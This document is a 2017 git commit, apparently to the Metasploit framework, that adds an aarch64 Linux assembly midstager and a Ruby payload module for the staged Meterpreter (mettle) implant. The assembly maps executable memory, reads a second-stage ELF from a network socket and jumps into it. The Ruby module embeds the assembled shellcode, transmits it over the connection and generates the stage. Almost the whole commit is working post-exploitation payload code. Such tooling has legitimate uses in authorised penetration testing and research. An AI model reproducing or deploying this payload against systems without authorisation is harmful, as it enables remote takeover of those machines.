stager not setting up stack

This commit is contained in:
Tim 2017-08-29 10:22:04 +08:00
parent 6dbe00158f
commit a2396991f0
2 changed files with 246 additions and 0 deletions

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.equ SYS_READ, 0x3f
.equ SYS_MMAP, 0xde
.equ SYS_EXIT, 0x5d
.equ SIZE, 0xeeeeeeee
.equ ENTRY, 0xffffffff
start:
adr x2, size
ldr w2, [x2]
mov x10, x2
/* Page-align, assume <4GB */
lsr x2, x2, #12
add x2, x2, #1
lsl x2, x2, #12
/* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */
mov x0, xzr
mov x1, x2
mov x2, #7
mov x3, #34
mov x4, xzr
mov x5, xzr
mov x8, SYS_MMAP
svc 0
/* Grab the saved size, save the address */
mov x4, x10
/* Save the memory address */
mov x3, x0
mov x10, x0
read_loop:
/* read(sockfd, buf='x3', nbytes='x4') */
mov x0, x12
mov x1, x3
mov x2, x4
mov x8, SYS_READ
svc 0
cbz w0, failed
add x3, x3, x0
subs x4, x4, x0
bne read_loop
/* set up the initial stack */
/*
add sp, sp, #80
mov x4, #109
eor x5, x5, x5
stp x4, x5, [sp, #-16]!
mov x1,#2
mov x2,sp
mov x3,#0
mov x4,#2
mov x5,sp
mov x6,x12
mov x7,#0
mov x8,#0
mov x9,#7
mov x10,x10
mov x11,#0
mov x12,#0
eor x0, x0, x0
eor x1, x1, x1
eor x2, x2, x2
eor x3, x3, x3
stp x4, x5, [sp, #-16]!
stp x6, x7, [sp, #-16]!
stp x7, x8, [sp, #-16]!
stp x9, x10, [sp, #-16]!
stp x11, x12, [sp, #-16]!
*/
adr x0, entry
ldr x0, [x0]
// entry_offset + mmap
add x0, x0, x10
mov x8, x0
/* Set up the fake stack.
For whatever reason, aarch64 binaries really want AT_RANDOM
to be available. */
/* AT_NULL */
eor x0, x0, x0
eor x1, x1, x1
stp x0, x1, [sp, #-16]!
/* AT_RANDOM */
mov x2, #25
mov x3, sp
stp x2, x3, [sp, #-16]!
/* argc, argv[0], argv[1], envp */
/* ideally these could all be empty, but unfortunately
we have to keep the stack aligned. it's easier to
just push an extra argument than care... */
stp x0, x1, [sp, #-16]! /* argv[1] = NULL, envp = NULL */
mov x0, 1
mov x1, sp
stp x0, x1, [sp, #-16]! /* argc = 1, argv[0] = "" */
br x8
/*
mov x0, #109
mov x1, x12
stp x0, x1, [sp, #-16]! /* argv[1] = NULL, envp = NULL */
/* mov x0, 2
mov x1, sp
stp x0, x1, [sp, #-16]! /* argc = 1, argv[0] = "" */
/*
blr x8
*/
failed:
mov x0, 0
mov x8, SYS_EXIT
svc 0
.balign 16
size:
.word SIZE
.word 0
entry:
.word ENTRY
.word 0
m:
.word 0x0000006d
.word 0x00000000

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/base/sessions/meterpreter_aarch64_linux'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'rex/elfparsey'
module MetasploitModule
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Inject the mettle server payload (staged)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
)
)
end
def elf_ep(payload)
elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload))
elf.elf_header.e_entry
end
def handle_intermediate_stage(conn, payload)
entry_offset = elf_ep(payload)
# Generated from external/source/shellcode/linux/aarch64/stage_mettle.s
midstager = [
0x10000582, # adr x2, b0 <size>
0xb9400042, # ldr w2, [x2]
0xaa0203ea, # mov x10, x2
0xd34cfc42, # lsr x2, x2, #12
0x91000442, # add x2, x2, #0x1
0xd374cc42, # lsl x2, x2, #12
0xaa1f03e0, # mov x0, xzr
0xaa0203e1, # mov x1, x2
0xd28000e2, # mov x2, #0x7 // #7
0xd2800443, # mov x3, #0x22 // #34
0xaa1f03e4, # mov x4, xzr
0xaa1f03e5, # mov x5, xzr
0xd2801bc8, # mov x8, #0xde // #222
0xd4000001, # svc #0x0
0xaa0a03e4, # mov x4, x10
0xaa0003e3, # mov x3, x0
0xaa0003ea, # mov x10, x0
0xaa0c03e0, # mov x0, x12
0xaa0303e1, # mov x1, x3
0xaa0403e2, # mov x2, x4
0xd28007e8, # mov x8, #0x3f // #63
0xd4000001, # svc #0x0
0x34000260, # cbz w0, a4 <failed>
0x8b000063, # add x3, x3, x0
0xeb000084, # subs x4, x4, x0
0x54ffff01, # b.ne 44 <read_loop>
0x10000280, # adr x0, b8 <entry>
0xf9400000, # ldr x0, [x0]
0x8b0a0000, # add x0, x0, x10
0xaa0003e8, # mov x8, x0
0xca000000, # eor x0, x0, x0
0xca010021, # eor x1, x1, x1
0xa9bf07e0, # stp x0, x1, [sp,#-16]!
0xd2800322, # mov x2, #0x19 // #25
0x910003e3, # mov x3, sp
0xa9bf0fe2, # stp x2, x3, [sp,#-16]!
0xa9bf07e0, # stp x0, x1, [sp,#-16]!
0xd2800020, # mov x0, #0x1 // #1
0x910003e1, # mov x1, sp
0xa9bf07e0, # stp x0, x1, [sp,#-16]!
0xd61f0100, # br x8
0xd2800000, # mov x0, #0x0 // #0
0xd2800ba8, # mov x8, #0x5d // #93
0xd4000001, # svc #0x0
payload.length,
0x00000000, # .word 0x00000000
entry_offset,
0x00000000, # .word 0x00000000
0x0000006d, # .word 0x0000006d
0x00000000, # .word 0x00000000
0xd503201f, # nop
0xd503201f, # nop
].pack('V*')
print_status("Transmitting intermediate midstager...(#{midstager.length} bytes)")
print_status("Transmitting intermediate paystager...(#{payload.length} bytes)")
conn.put([midstager.length].pack('V'))
conn.put(midstager) == midstager.length
end
def generate_stage(opts = {})
MetasploitPayloads::Mettle.new('aarch64-linux-musl',
generate_config(opts.merge({scheme: 'tcp'}))).to_binary :process_image
end
end